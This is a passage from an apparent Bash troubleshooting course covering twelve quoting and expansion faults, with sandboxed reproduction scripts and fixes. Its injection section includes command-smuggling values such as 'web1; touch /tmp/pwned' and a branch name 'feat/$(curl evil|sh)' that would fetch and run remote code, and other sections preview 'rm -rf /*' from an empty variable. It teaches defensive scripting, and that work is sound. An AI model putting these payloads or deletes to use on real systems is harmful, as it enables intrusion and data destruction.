touch "my file.txt" my,set -x; rm $f, zoom in on + rm my file.txt: the innocent file is deleted.$'\r': command not found,unary operator expected,unbound variable,value too great for base,bad interpreter,[[: not found...) or a “silent error” (empty backup, counter always 0, only the first host processed), determine which of: quoting/expansion/variables, control flow/input/text processing, error handling/signals/concurrency, environment/portability/CI/security category it belongs to, and name the first diagnostic command.nullglob/failglob, pipeline segments each run in a subshell,read 's return value and IFS,set -e 's exception rules (Bash manual wording),pipefail and SIGPIPE (141),trap 's inheritance and trigger order, fork/exec and exit codes 126/127/128+N, the minimal environment of cron/CI,sh (dash) and Bash 3.2 syntax differences.~/bashlab/lab8/ use reproduction scripts of no more than 10 lines reproducing, fixing, verifying and cleaning up all 50 problems; over 40 raw error messages were obtained on Bash 5.3.20 / 5.2.21 by actually running them.| # | Time | Module | Core content | Animations · interactions | Lab |
|---|---|---|---|---|---|
| 0 | Before class | Instructions and fault lab environment | Confirm the Bash version; set up ~/bashlab/lab8/ (reproduction-script directory + a disposable sandbox sandbox/); generate helper scripts lab8.sh; optional bash:5.3 containers and dash | environment self-check | Generate lab8.sh |
| 1 | 00–08 | A · Quoting, expansion and variables | Problems 1–12: unquoted variables deleting the wrong files, empty variables + rm -rf,unbound variable,unary operator expected,for f in $(ls), wildcards kept literal, and the characters inside quotes ~, octal 08, command substitution eating newlines and NUL,$* and "$@", command injection via concatenation,read swallowing backslashes | Expansion-pipeline simulator for a one-line command | Word splitting · empty-variable guards · octal · injection |
| 2 | 08–16 | A · Control flow, input and text processing | Problems 13–25: CRLF ($'\r'),while read lost last line, pipe subshell losing variables, loop body swallowing stdin, string vs integer comparison,$? overwritten, here-doc terminators, locale changing sort order, decimal point and locale,grep no-match making the script exit,xargs and quoting, BSD sed -i,jq output null | “Loop / input is wrong” troubleshooting decision tree | CRLF · last line · subshell · stdin swallowed |
| 3 | 16–24 | A · Error handling, signals and concurrency | Problems 26–38: set -e not exiting,local x=$(…) masking failures, empty backup without pipefail, pipefail + head yielding 141,((i++)) making the script exit,cd after a failure rm, ERR trap not entering functions, signals and cleanup, predictable temp files, cron overlapping runs, background job failures ignored, concurrent writes to the same file,timeout and functions | set -e / pipefail decision simulator | set -e exceptions · pipefail · trap · flock |
| 4 | 24–30 | A · Environment, portability, CI and security | Problems 39–50: cron's PATH,sh running Bash scripts, macOS Bash 3.2, aliases not working in scripts,sudo echo >, relative paths source, CI execute bit and default shell,set -x leaking secrets, exit codes > 255, GNU/BSD/BusyBox differences, unexported variables, starting with - file-name injection | “Works locally, fails in cron/CI/containers” troubleshooting decision tree | minimal environment · dash · option injection |
| 5 | 30–37 | B · Shell mechanics and basics | Interview 1–13 | Mock interview | 2 scenario questions |
| 6 | 37–44 | B · Script design and data processing | Interview 14–25 | Mock interview | 2 scenario questions |
| 7 | 44–52 | B · Robustness, testing and debugging | Interview 26–38 | Mock interview | 3 scenario questions |
| 8 | 52–60 | B · Real-world scenarios and code review | Interview 39–50 (including 6 code-review questions) | Mock interview | 3 scenario questions |
| — | After class | Cheat sheet · Comprehensive exercises | 50 “error → first command → fix” items; 50 flash cards; 8 mixed faults; full mock interviews | Full mock interviews | 12-question final quiz |
| Topic | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
|---|---|---|---|---|---|---|---|---|
| Parsing, seven-step expansion, quoting and word splitting | ● | ● | — | ● | ● | ● | — | ● |
| Variables, arrays, environment and subshells | ● | ● | ● | ● | ● | ● | — | ● |
| Conditionals, loops and read / IFS | ● | ● | ● | — | ● | ● | — | ● |
| Exit codes, set -e / -u / pipefail | ● | ● | ● | ● | ● | — | ● | ● |
| trap, signals, temp files, locks and concurrency | — | — | ● | — | — | — | ● | ● |
| Text processing: grep / sed / awk / sort / xargs / jq | — | ● | — | ● | — | ● | — | ● |
| Execution environment for cron / CI / containers | — | — | ● | ● | ● | — | ● | ● |
| Portability: POSIX sh, dash, Bash 3.2, BusyBox, BSD | — | ● | — | ● | ● | — | ● | — |
| Security: injection, eval, secrets, untrusted file names | ● | — | ● | ● | — | ● | ● | ● |
| Testing, debugging and static checks (bats, set -x, ShellCheck) | — | — | ● | ● | — | — | ● | ● |
read → Lesson 2; functions, scope, modularity and opsctl v0.1 → Lesson 3; strict mode, trap, temp files, locks, retries → Lesson 4; grep / sed / awk / find / jq → Lesson 5; HTTP, cloud CLIs, deployment, cron, CI → Lesson 6; debugging, ShellCheck, shfmt, bats, portability → Lesson 7. This lesson only covers “what to do when something goes wrong” and “how to answer in an interview.”execve permission checks, noexec, systemd 203/EXEC, full disk, OOM) → Linux Lesson 9 (50 production problems); this lesson only references it where directly related to scripts.unbound,\r,unary,not found,141,null).Symptom → root cause (at the mechanism level) → diagnostic command → expected output → fix → prevention → minimal reproduction script (~/bashlab/lab8/pbNN-*.sh) → see Lesson N for details. Error sources are marked in three ways:Actually run= run on 2026-11-17 using Bash 5.3.20 (official image bash:5.3, Alpine + BusyBox tools) or Bash 5.2.21 (Ubuntu 24.04 / WSL2, GNU coreutils 9.4) real execution;Official docs= quoted from the GNU Bash manual, GitHub Docs, etc.;Depends on the actual output= not verified word for word; prefixes and quoting styles (' and ‘’) and wording vary with the tool implementation (GNU / BusyBox / BSD / Ubuntu 26.04's rust-coreutils) and with locale changes.
Question → 30-second answer → in-depth answer (principles, code) → common follow-ups → bonus points → common wrong answers. Difficulty:JuniorMid-levelSenior. Target roles: Senior Cloud / DevOps / SRE. Module 8 includes 6 code-review questions (Q39, Q40, Q41, Q44, Q49, Q50).
| Course | Most-referenced content in this lesson |
|---|---|
| Lesson 1: How Bash works | Parsing and execution of a command line (lexical analysis → aliases → seven-step expansion → redirection → command lookup → fork/exec or builtin → exit status), quoting, redirection and fds, pipes and exit codes, subshells |
| Lesson 2: Variables, data and control flow · Lesson 3: Functions and modularity | Parameter expansion ${var:?}, arithmetic and octal, arrays,[[ ]] and case,while IFS= read -r, process substitution; local, nameref,source and BASH_SOURCE, getopts, the opsctl directory layout and exit-code conventions (0/1/2/3) |
| Lesson 4: Robustness · Lesson 5: Text and data | the real semantics of strict mode, trap, mktemp, flock, logging, retries and timeouts, injection; grep / sed / awk,find -print0 | xargs -0, sort and locale, jq / yq, CSV boundaries |
| Lesson 6: Automation in practice · Lesson 7: Testing and portability | curl status codes and retries, cloud CLIs, atomic deployment switches, cron and systemd timers, CI; set -x and PS4, ShellCheck, shfmt, bats-core, POSIX sh / dash / Bash 3.2 / BusyBox |
bash53-020, i.e. 5.3.20, and the official Docker image bash:5.3 is also 5.3.20; Ubuntu 26.04 LTS ships 5.3). Compared with 5.2 (Ubuntu 24.04's 5.2.21), the differences are that 5.3 adds ${ cmd; } / ${| cmd; } non-forking command substitution,GLOBSORT,BASH_TRAPSIG,read -E,source -p,array_expand_once (replacing assoc_expand_once) — the 50 problems behave the same on 5.2 and 5.3; each was verified individually. macOS ships Bash 3.2 (no associative arrays,mapfile,${var,,},set -u under set -u an empty array errors); these are flagged in the relevant problems. Ubuntu 26.04 defaults to rust-coreutils (cp/mv/rm still the GNU version),ls,sort,date and similar tools: error wording may differ from the GNU versions cited in this lesson. Tool versions (verified 2026-11-17): ShellCheck 0.11.0, shfmt v3.14.1, bats-core v1.14.0 (bats-support v0.3.0, bats-assert v2.2.4), jq 1.8.2, yq (mikefarah) v4.54.3, GNU parallel 20261022.~/bashlab; all “dangerous” reproductions are run only in a disposable sandbox ~/bashlab/lab8/sandbox with one reproduction script of no more than 10 lines per problemsh your /bin/sh points to (on Ubuntu/Debian it is dash, on Alpine it is BusyBox ash, on macOS it is Bash 3.2 running in POSIX mode).~/bashlab/lab8/: pbNN-*.sh reproduction scripts,sandbox/ disposable directories and helper scripts lab8.sh (create a sandbox, run in a clean environment or under different shells, visualize invisible characters, one-command cleanup).rm is always dry-run first with echo , and run only inside sandbox/ .linuxlab VM, WSL2, macOS + Homebrew bash, or a container), working directory ~/bashlab, sample data ~/bashlab/data/ (generated by ~/bashlab/make-data.sh produces: access.log,servers.csv,inventory.json,config.yaml, and files with odd names files/).~/bashlab/opsctl/ (Lesson 3 v0.1 → Lesson 7 v1.0) is optional, but Part B answers use its structure (bin/opsctl,lib/log.sh,lib/util.sh,lib/config.sh,lib/cmd_*.sh,etc/opsctl.conf,test/; exit codes 0/1/2/3; configuration precedence: flag > environment variable OPSCTL_<KEY> > config file > defaults; subcommands servers, config, logs, health, backup, deploy). The dataset ~/bashlab/data is generated by the deterministic script from Lesson 1 make-data.sh that produces: access.log 611 lines (28 5xx entries, 26 4xx entries),servers.csv 12 lines (line 11 contains a quoted "web,api" field),files/ with 15 “odd names”.dash (bundled with Ubuntu,/bin/sh i.e. dash),shellcheck, Docker (running bash:5.3 and comparing BusyBox tools).echo "$BASH_VERSION"; bash --version | head -1 ls -l "$(command -v sh)"; readlink -f "$(command -v sh)" command -v dash shellcheck jq flock timeout 2>/dev/null locale | head -3
5.2.21(1)-release GNU bash, version 5.2.21(1)-release (x86_64-pc-linux-gnu) lrwxrwxrwx 1 root root 4 Mar 31 2024 /usr/bin/sh -> dash /usr/bin/dash /usr/bin/dash /usr/bin/flock /usr/bin/timeout LANG=C.UTF-8 LANGUAGE= LC_CTYPE="C.UTF-8"
Lines are omitted when shellcheck / jq is not installed. To get the same 5.3 errors as this lesson on any platform, use the official image: docker run --rm -it -v "$PWD":/work -w /work bash:5.3 (the 2026-11-17 bash:5.3 tag is 5.3.20; note that it is based on Alpine,rm,ls,date,xargs are BusyBox versions, and their error wording differs from GNU; this is itself a live example of problem #48).
mkdir -p ~/bashlab/lab8 && cat > ~/bashlab/lab8/lab8.sh <<'EOF'
# usage: source ~/bashlab/lab8/lab8.sh
L8=~/bashlab/lab8
# create (empty) a disposable sandbox and enter it; dangerous reproductions are done only here
l8_sandbox() { rm -rf -- "$L8/sandbox" && mkdir -p -- "$L8/sandbox" && cd -- "$L8/sandbox" && echo "sandbox: $PWD"; }
# run a script in a cron-like minimal environment: l8_cronlike ./x.sh
l8_cronlike() { env -i HOME="$HOME" LOGNAME="$USER" SHELL=/bin/sh PATH=/usr/bin:/bin /bin/sh -c "$*"; }
# run the same script with bash / dash / bash --posix
l8_shells() { local s; for s in bash dash 'bash --posix'; do printf '== %s\n' "$s"; $s "$1"; printf '(exit=%s)\n' "$?"; done; }
# show invisible characters: \r, \t, line endings, NUL
l8_show() { LC_ALL=C cat -A -- "$@"; }
# one-command cleanup
l8_clean() { cd ~ && rm -rf -- "$L8/sandbox" && echo "lab8 sandbox cleaned"; }
EOF
source ~/bashlab/lab8/lab8.sh && type l8_sandbox | head -1
l8_sandbox is a function
l8_shells in the $s deliberately unquoted, so that bash --posix is split into a command and options. This is one of the few cases where word splitting is used on purpose; in production code, use an array (problem #10).
| Convention | Notes |
|---|---|
~/bashlab/lab8/pbNN-keyword.sh | one reproduction script per problem, NN being a two-digit number, for example pb01-unquoted.sh,pb13-crlf.sh; given at the end of each problem's details (no more than 10 lines) |
First run it in sandbox/ . | l8_sandbox && bash ../pb01-unquoted.sh; for scripts that delete, make the first line cd enter the sandbox and use || exit protection (lesson from problem #31) |
| observe → fix → run again | each script has a FIX=1 switch or commented-out fix line; after the fix, the output should match the “expected output” |
bash -x and PS4='+ ${BASH_SOURCE}:${LINENO}:${FUNCNAME[0]:-main}: ',shellcheck (this lesson gives the matching SC number for each problem),bats regression tests,shfmt -d.PIPESTATUS) → Where (parsing, expansion, redirection, execution, or the post-exit check) → When (a different machine? a different invocation: manual / cron / CI / container? different input: filenames with spaces, a file with no trailing newline?).bash -x rerun + cat -A check the input + declare -p on the variable to see the real value.cd ~/bashlab/lab8/sandbox || exit 1; ② dangerous commands are first dry-run with echo ; ③ variable expansion uses "${dir:?}" guards. Never run this lesson's reproduction scripts as root, and do not run them in ~,/ or in a mounted working directory.source ~/bashlab/lab8/lab8.sh && l8_clean crontab -l 2>/dev/null | grep -n lab8 || echo "no lab8 cron entries" # problems #35 and #39: if you added cron entries, remember to delete them
${var:?}, nounset,[ ] argument count, octal, command substitution,$* / "$@", injection,read -r"${var:?message}" (prevent empty values),-- (prevent being taken as options); also use declare -p,printf '<%s>\n' "$@",bash -x to see variables' real values and argument boundaries.Enter a keyword from the error or symptom (e.g. cannot remove,unbound,unary,base,~,null byte,injection) to filter; click a row to jump to the matching entry in “Problem details”.
$ f="my file.txt"; rm $f rm: cannot remove 'my': No such file or directory rm: cannot remove 'file.txt': No such file or directory
Symptom: Filenames with spaces (user uploads, Windows shares,"report 2026.log") make the cleanup script fail; a split fragment that happens to match an existing file (e.g. my) silently deletes the wrong file.
Root cause: An unquoted $f also undergoes word splitting (by IFS: spaces, tabs, newlines) and pathname expansion (* ? [),rm receive my,file.txt two arguments. Quotes mean “the result is one argument”.
set -x; rm $f; set +x # see the arguments rm actually receives printf '<%s>\n' $f # one argument per line; boundaries are obvious shellcheck cleanup.sh # SC2086: Double quote to prevent globbing and word splitting.
+ rm my file.txt <my> <file.txt>
rm -- "$f" # quotes prevent splitting and globbing; -- stops names starting with - from being taken as options (#50) for f in ./*.log; do rm -- "$f"; done # loop over files with a glob, not ls (#5)
"$var","$(cmd)","${arr[@]}"; leave quotes off only where splitting is truly needed, and comment it.shellcheck -S warning; SC2086 is technically a note, but treat it as an error for delete, move and chmod.*, leading - (~/bashlab/data/files/).~/bashlab/lab8/pb01-unquoted.shcd ~/bashlab/lab8/sandbox || exit 1 touch "my file.txt" my # a file with a space, plus a file named exactly my f="my file.txt" rm $f # deletes my; reports that file.txt does not exist; "my file.txt" is still there ls -1 # fix: rm -- "$f"
See Lesson 1 Module 3: Quoting,Lesson 1 Module 4: The seven steps of expansion.
$ d=""; echo rm -rf "$d/"* rm -rf /bin /dev /etc /home /lib /media /mnt /opt /proc /root /run /sbin /srv /sys /tmp /usr /var /w
Symptom:rm -rf "$STEAMROOT/"*,rm -rf "$BUILD_DIR"/* When the variable is empty (typo, config not loaded,cd fails, or command substitution returns nothing) wipes out the root or home directory: Bash's number-one incident.
Root cause: When the variable is empty, "$d/"* becomes /*, i.e. every entry in the root directory. Quotes prevent splitting but not empty values; unset and empty variables both silently expand to nothing.
declare -p BUILD_DIR 2>&1 # whether it is set, and whether it is empty
bash -n cleanup.sh && shellcheck cleanup.sh # SC2115: Use "${var:?}" to ensure this never expands to /* .
grep -nE 'rm -[a-zA-Z]*r[a-zA-Z]* .*\$' *.sh # audit all recursive deletes
cleanup.sh:5:8: warning: Use "${var:?}" to ensure this never expands to /* . [SC2115]
: "${BUILD_DIR:?BUILD_DIR must be set}" # exit immediately with a non-zero code if unset or empty
rm -rf -- "${BUILD_DIR:?}/"*
# Safer: confirm the target is the expected directory before deleting
[[ -d $BUILD_DIR && $BUILD_DIR == /srv/app/build/* ]] || { echo "refuse: $BUILD_DIR" >&2; exit 2; }
d.sh: line 2: d: parameter null or not set # exit code 1; rm did not run
rm -rf Always treat path parameters as ${var:?}: set -u (#3) catches unset values,:? and also catches empty ones.rm -rf -- "$tmpdir",tmpdir=$(mktemp -d)), rather than emptying its contents.rm by default --preserve-root only guards rm -rf /, not rm -rf /*.~/bashlab/lab8/pb02-empty-var.shcd ~/bashlab/lab8/sandbox || exit 1
BUILD_DIR="" # simulates a config that was not loaded
echo rm -rf "$BUILD_DIR/"* # preview only! shows /bin /etc …
rm -rf -- "${BUILD_DIR:?BUILD_DIR must be set}/"* # fix: fails and exits right here
See Lesson 2 Module 1: Parameter expansion,Lesson 4 Module 7: Security.
$ bash -c 'set -u; echo "deploy to $1"' bash: line 1: $1: unbound variable # exit code 127 under bash -c $ bash u.sh # in a script file u.sh: line 2: UNDEFINED_X: unbound variable # exit code 1
Symptom: Under strict mode, the script exits immediately when run with no arguments, with an optional environment variable unset, or with source third-party scripts (/etc/profile.d/*.sh, an older venv activate) — it exits immediately.
Root cause:set -u (nounset) makes expanding an unset variable an error (@ / * and ${arr[@]} are exempt) to catch typos; optional arguments and environment variables need defaults. Since 4.4, an empty array "${arr[@]}" does not error, but macOS's bundled Bash 3.2 reports arr[@]: unbound variable.
bash -x deploy.sh 2>&1 | tail -3 # see the last line that ran declare -p UNDEFINED_X 2>&1 # bash: declare: UNDEFINED_X: not found [[ -v UNDEFINED_X ]] && echo set || echo unset
target=${1:-staging} # default value for an optional argument
: "${API_URL:?API_URL is required}" # fail explicitly for required variables, with a message
if [[ -n ${DEBUG:-} ]]; then set -x; fi
set +u; source venv/bin/activate; set -u # temporarily disable only for uncontrolled third-party scripts
deploy to staging
main pattern from opsctl in Lesson 3), and afterwards do not use $1 directly.${arr[@]+"${arr[@]}"}.set -u It cannot catch empty values; dangerous paths still need :? (#2).~/bashlab/lab8/pb03-nounset.sh#!/usr/bin/env bash
set -u
echo "deploy to $1" # run with no arguments: $1: unbound variable
# fix: echo "deploy to ${1:-staging}"
See Lesson 4 Module 1: Strict mode,Lesson 2 Module 1: Parameter expansion.
$ v=""; [ $v = "x" ] bash: line 1: [: =: unary operator expected $ v="a b"; [ $v = "x" ] bash: line 1: [: too many arguments $ v=""; [ -n $v ] && echo "non-empty?!" non-empty?!
Symptom: Conditional tests sometimes error (exit code 2); the sneakiest case is v when empty, [ -n $v ] is true with no error, so the "run only if non-empty" branch runs anyway.
Root cause:[ is a builtin; its arguments are determined only after parameter expansion and splitting: $v if empty, it becomes [ = x ] (2 arguments); with spaces, it becomes 4; [ -n ] with only 1 argument,-n is treated as a string, and POSIX defines a single non-empty string as true. The keyword [[ ]] does no splitting or pathname expansion on variables.
set -x; [ $v = "x" ]; set +x # + '[' = x ']' shellcheck check.sh # SC2070: -n doesn't work with unquoted arguments. Quote or use [[ ]].
[ "$v" = "x" ] # POSIX sh: always quote [[ $v == x ]] # Bash: prefer [[ ]] [[ -n $v ]] # non-empty check
[[ ]]; for POSIX, use [ "$v" = x ], not == (dash does not support it, #40).(( n > 3 )) / [[ $n -gt 3 ]], not > (string comparison, #17).~/bashlab/lab8/pb04-test-args.shv="" [ $v = "x" ]; echo "exit=$?" # unary operator expected, exit=2 [ -n $v ] && echo "BUG: empty treated as non-empty" [[ -n $v ]] || echo "fixed: empty"
$ ls 'report 2026.log' app.log $ for f in $(ls *.log); do wc -l "$f"; done 0 app.log wc: report: No such file or directory wc: 2026.log: No such file or directory
Symptom: loops skip, split or mishandle filenames containing spaces, newlines,* of filenames; with many files it reports Argument list too long.
Root cause: An unquoted $(ls) is split by IFS, losing filename boundaries, and then pathname expansion is applied; ls its output is meant for people to read (in a terminal it adds quotes and escapes), so it is not a parsing interface.
printf '<%s>\n' $(ls *.log) # see the "words" after splitting shellcheck loop.sh # SC2045: Iterating over ls output is fragile. Use globs.
shopt -s nullglob for f in ./*.log; do wc -l -- "$f"; done # current directory: glob find . -name '*.log' -type f -print0 | while IFS= read -r -d '' f; do wc -l -- "$f"; done # recursive: NUL-separated mapfile -d '' files < <(find . -name '*.log' -print0) # when an array is needed (Bash 4.4+)
ls: for lists, use globs or find -print0; for metadata, use stat / find -printf (GNU).find -print0,xargs -0,read -d '',sort -z,grep -lZ.~/bashlab/lab8/pb05-ls-loop.shcd ~/bashlab/lab8/sandbox || exit 1 touch "report 2026.log" app.log for f in $(ls *.log); do wc -l "$f"; done # splits for f in ./*.log; do wc -l -- "$f"; done # fix
See Lesson 5 Module 4: find, xargs and safe filename handling.
$ for f in /data/in/*.csv; do process "$f"; done # when the directory is empty process: '/data/in/*.csv': No such file or directory # (illustrative: the program receives the literal *.csv) $ ls /nonexist/*.log ls: cannot access '/nonexist/*.log': No such file or directory $ for f in /nonexist/*.log; do echo "got: $f"; done got: /nonexist/*.log
Symptom: with an empty directory, the literal *.csv is treated as a filename: a "file not found" warning, or even *.csv imported into the database, or uploaded as an object named *.csv .
Root cause: By default (POSIX), a pattern with no match is kept as-is; shopt -s nullglob expands to nothing,shopt -s failglob reports an error.
shopt nullglob failglob compgen -G '/data/in/*.csv' || echo "no match" # use the exit code to check whether anything matches
shopt -s nullglob
files=(/data/in/*.csv)
(( ${#files[@]} )) || { echo "no input files, skip" >&2; exit 0; }
for f in "${files[@]}"; do process "$f"; done
$ shopt -s failglob; ls /w/nonexist/*.log bash: line 1: no match: /w/nonexist/*.log
nullglob and count the entries; must exist: failglob or [[ -e $f ]] || continue.nullglob With nullglob set, a pattern with no match ls *.x becomes ls (lists the current directory),rm -f *.x is a no-op; enable it only in the scope where it is needed.~/bashlab/lab8/pb06-noglob.shcd ~/bashlab/lab8/sandbox || exit 1 for f in ./in/*.csv; do echo "processing [$f]"; done # processing [./in/*.csv] shopt -s nullglob for f in ./in/*.csv; do echo "processing [$f]"; done # prints nothing
See Lesson 1 Module 4: The seven steps of expansion,Lesson 2 Module 5: Loops.
$ d="~/bashlab"; cd "$d" bash: line 1: cd: ~/bashlab: No such file or directory $ p="~/x"; ls "$p" ls: cannot access '~/x': No such file or directory
Symptom: A path from config, an environment variable, or input ~/backups "does not exist" in the script; or it creates a directory literally named ~ , and later someone rm -rf ~ wants to delete it…
Root cause: A tilde expands only at the start of an unquoted word (or after =,: in an assignment), before parameter expansion; inside a variable, ~ is just an ordinary character.
declare -p d; ls -la | grep ' ~$' # check whether a directory named ~ was already created by mistake shellcheck x.sh # SC2088: Tilde does not expand in quotes. Use $HOME.
d="$HOME/bashlab" # use $HOME in scripts
d=${d/#\~/$HOME} # when reading config, replace a leading ~ with $HOME
rm -rf -- ./~ # always use the ./ prefix when deleting a mistakenly created directory!
${d/#\~/$HOME} then realpath -m).eval to expand ~; it is an injection entry point (#11).~/bashlab/lab8/pb07-tilde.shd="~/bashlab"
cd "$d" || echo "cd failed as expected"
d=${d/#\~/$HOME}; cd "$d" && pwd
$ h=09; echo $((h + 1)) bash: line 1: 09: value too great for base (error token is "09") $ printf '%d\n' 08 bash: line 1: printf: 08: invalid octal number 0
Symptom: Hour, month and day arithmetic on the 8th and 9th (08,09) error, or 010 is read as 8, and numbering silently goes wrong; typically only the 08:00 and 09:00 jobs fail.
Root cause: In arithmetic, 0 a leading 0 means octal,0x and 0x means hexadecimal,8,9 digits 8 and 9 are invalid; date +%H,date +%m and anything with a leading 0.
h=$(date +%H); declare -p h # declare -- h="09" echo $(( 010 )) # 8 — silent error
echo $(( 10#$h + 1 )) # explicitly specify base 10
h=$(date +%-H) # GNU date: no zero padding (not supported on BSD/macOS, #48)
h=${h#0} # or strip one leading 0 (note that "00" becomes "0")
$ d=08; echo $(( 10#$d + 1 )) 9
$(( )) prefix them with 10#, and first validate them with [[ $x =~ ^[0-9]+$ ]] (10# still errors on a minus sign or an empty value).$(( )) or [[ $x -eq 1 ]] can inject command substitution through array subscripts (Lesson 4 Module 7), so validate first.~/bashlab/lab8/pb08-octal.shfor h in 07 08 09 10; do echo "$h -> $(( h + 1 ))" 2>&1 || true # 08 and 09 error echo "$h -> $(( 10#$h + 1 )) (fixed)" done
$ x=$(printf 'a\0b'); echo "len=${#x}"
t3.sh: line 12: warning: command substitution: ignored null byte in input
len=2
$ v=$(printf 'line1\n\n'); printf '[%s]\n' "$v"
[line1]
Symptom:① binary data (archives, DER certificates,/proc/PID/environ) breaks when written out through a variable; ② a config that loses its trailing blank line makes checksums mismatch; ③$(cat file) comparisons hide differences in trailing newlines.
Root cause: Bash variables are C strings and cannot contain NUL (dropped with a warning since 4.4); command substitution strips all trailing newlines per POSIX. Both are language limits.
od -c file | tail -3 # look at the raw bytes cmp <(printf '%s' "$v") file # compare the variable with the file
cp -- src.bin dst.bin # binary data: skip variables, use the file or a pipe directly
v=$(cat file; echo .); v=${v%.} # to keep a trailing newline: sentinel-character trick
mapfile -d '' -t envs < /proc/$PID/environ # NUL-separated data: read into an array
$ v=$(printf 'x\n\n'; echo .); v=${v%.}; printf '[%s]\n' "$v"
[x
]
${ cmd; } runs in the current shell without forking, also strips trailing newlines, and cannot store NUL.~/bashlab/lab8/pb09-cmdsubst.shx=$(printf 'a\0b'); echo "len=${#x}" # warning + len=2
v=$(printf 'line1\n\n'); printf '[%s]\n' "$v" # trailing newlines lost
See Lesson 1 Module 4: The seven steps of expansion,Lesson 3 Module 3: Output and return values.
show(){ printf '<%s>' "$@"; echo; }
wrap1(){ show $*; } → <a><b><c>
wrap2(){ show "$*"; } → <a b c>
wrap3(){ show "$@"; } → <a b><c> # call: wrapN "a b" c
Symptom:kubectl/az/docker run A wrapper script (run.sh "$@") given an argument with spaces: --message "deploy v2" becomes --message deploy v2, reporting “unrecognized arguments: v2”; or cmd="docker run $opts" re-expands it via $cmd, and the quotes are lost.
Root cause: Only "$@" expands each positional parameter as a separate word; an unquoted $*,$@ is split again; "$*" joins them with the first character of IFS into one string. Quotes inside that string are just characters and cannot restore boundaries.
set -x; ./run.sh --message "deploy v2"; set +x shellcheck run.sh # SC2048: use "$@" (with quotes) …; SC2068: double-quote array expansions …
exec kubectl "$@" # forward as-is
args=(run --rm -e "MSG=$msg") # build the command dynamically: use an array, not a string
[[ -n $port ]] && args+=(-p "$port:80")
docker "${args[@]}" "$image"
printf '%q ' "${args[@]}".ssh host "…") it is parsed again, so use printf %q escaping (#11).~/bashlab/lab8/pb10-star-at.shshow(){ printf '<%s>' "$@"; echo; }
w1(){ show $*; }; w2(){ show "$*"; }; w3(){ show "$@"; }
w1 "a b" c; w2 "a b" c; w3 "a b" c
See Lesson 2 Module 3: Arrays,Lesson 3 Module 1: Function arguments.
$ host="web1; touch /tmp/pwned" $ bash -c "echo ping $host"; ls /tmp/pwned ping web1 /tmp/pwned # the injected command was executed $ bash -c 'echo ping "$1"' _ "$host"; ls /tmp/pwned2 ping web1; touch /tmp/pwned2 ls: /tmp/pwned2: No such file or directory # passed as data: safe
Symptom: Hostnames, branch names, ticket titles and HTTP parameters concatenated into eval,bash -c,ssh host "…",su -c,sudo sh -c,find -exec sh -c '… {} …', so an attacker (or a branch name feat/$(curl evil|sh)) can run arbitrary commands; in CI, injection via PR titles and branch names is especially serious.
Root cause: When data is concatenated into code that the shell parses, ;,$( ), backticks,|, newlines all become syntax; eval,bash -c "…", and the remote side ssh host "cmd $x" works the same way.
grep -nE 'eval |bash -c "|sh -c "|ssh [^ ]+ ".*\$' *.sh # audit concatenated execution printf '%q\n' "$host" # see the escaped, safe form
web1\;\ rm\ -rf\ /
bash -c 'echo ping "$1"' _ "$host" # code is fixed; data is passed as an argument
find . -name '*.log' -exec sh -c 'gzip -- "$1"' _ {} \; # never put {} into the code string
ssh "$h" "systemctl restart $(printf '%q' "$svc")" # the remote side parses again: escape with %q
[[ $host =~ ^[a-z0-9.-]+$ ]] || { echo "bad host" >&2; exit 2; } # validate against a whitelist first
eval; for indirect references use nameref (declare -n) or associative arrays.${{ github.event.pull_request.title }} such as run:, first put it in an environment variable and then use "$TITLE" (GitHub security hardening docs).~/bashlab/lab8/pb11-injection.shhost='web1; echo INJECTED' eval "echo hello $host" # prints INJECTED bash -c 'echo hello "$1"' _ "$host" # fix: outputs the whole string as-is
See Lesson 4 Module 7 Security: injection, eval, globbing and untrusted input.
$ printf '%s\n' 'C:\temp\new' | { read p; echo "noraw=[$p]"; }
noraw=[C:tempnew]
$ printf '%s\n' 'C:\temp\new' | { read -r p; echo "raw=[$p]"; }
raw=[C:\temp\new]
$ printf ' path with spaces \n' | { read -r v; printf '[%s]\n' "$v"; }
[path with spaces]
Symptom: Reading Windows paths, regexes, JSON or passwords loses backslashes; YAML, Makefiles and Python lose indentation; a trailing backslash joins the line with the next one.
Root cause: Without -r -r, the read read builtin treats backslashes as escapes (including line continuation); the default IFS contains whitespace, so read read strips leading and trailing whitespace. To read lines verbatim, use IFS= read -r line.
l8_show input.txt | head # see the raw characters shellcheck r.sh # SC2162: read without -r will mangle backslashes.
while IFS= read -r line; do printf '%s\n' "$line"; done < input.txt IFS=, read -r name env region ip role <<< "$csv_line" # set IFS only when splitting fields on a delimiter
read Always pass -r, and for line-by-line reading always use IFS= read -r, and handle a final line that lacks a trailing newline (#14).IFS=,, use mlr / Python (Lesson 5 Module 7).~/bashlab/lab8/pb12-read-r.shprintf '%s\n' 'C:\temp\new' ' indented' > in.txt while read line; do echo "[$line]"; done < in.txt # backslashes and indentation are both lost while IFS= read -r line; do echo "[$line]"; done < in.txt # fix
Choose a case, click “Run”, and see at which expansion step the command is transformed or fails, and what the terminal shows. The output for each case comes from actual runs of this lesson (Bash 5.3.20 / 5.2.21).
source ~/bashlab/lab8/lab8.sh && l8_sandbox. All files are in ~/bashlab/lab8/sandbox, and at the end l8_clean.l8_sandbox touch "my file.txt" my keep.txt f="my file.txt"; set -x; rm $f; set +x; ls -1
+ rm my file.txt rm: cannot remove 'file.txt': No such file or directory + set +x keep.txt my file.txt
The innocent my was deleted, while the target file is still there.
rm -- "$f"; ls -1 printf 'f=$1\nrm $f\n' > ../pb01-check.sh && shellcheck ../pb01-check.sh | grep -o 'SC[0-9]*'
keep.txt SC2086
BUILD_DIR=""
echo rm -rf "$BUILD_DIR/"* | cut -c1-60 # preview only
( rm -rf -- "${BUILD_DIR:?BUILD_DIR must be set}/"* ); echo "exit=$?"rm -rf /bin /boot /dev /etc /home /lib /lib64 /lost+found bash: BUILD_DIR: BUILD_DIR must be set exit=1
In an interactive shell :? a failure only terminates the current command, so wrap it in a subshell ( ) to observe the exit code; in a script it terminates the entire script.
bash -c 'set -u; echo "deploy to $1"'; echo "exit=$?"
bash -c 'set -u; echo "deploy to ${1:-staging}"'bash: line 1: $1: unbound variable exit=127 deploy to staging
for h in 07 08 09; do echo "$h+1=$(( 10#$h + 1 ))"; done; echo $(( 09 + 1 ))
07+1=8 08+1=9 09+1=10 bash: 09: value too great for base (error token is "09")
host='web1; echo INJECTED' eval "echo hello $host" bash -c 'echo hello "$1"' _ "$host"
hello web1 INJECTED hello web1; echo INJECTED
l8_clean; rm -f ~/bashlab/lab8/pb01-check.sh
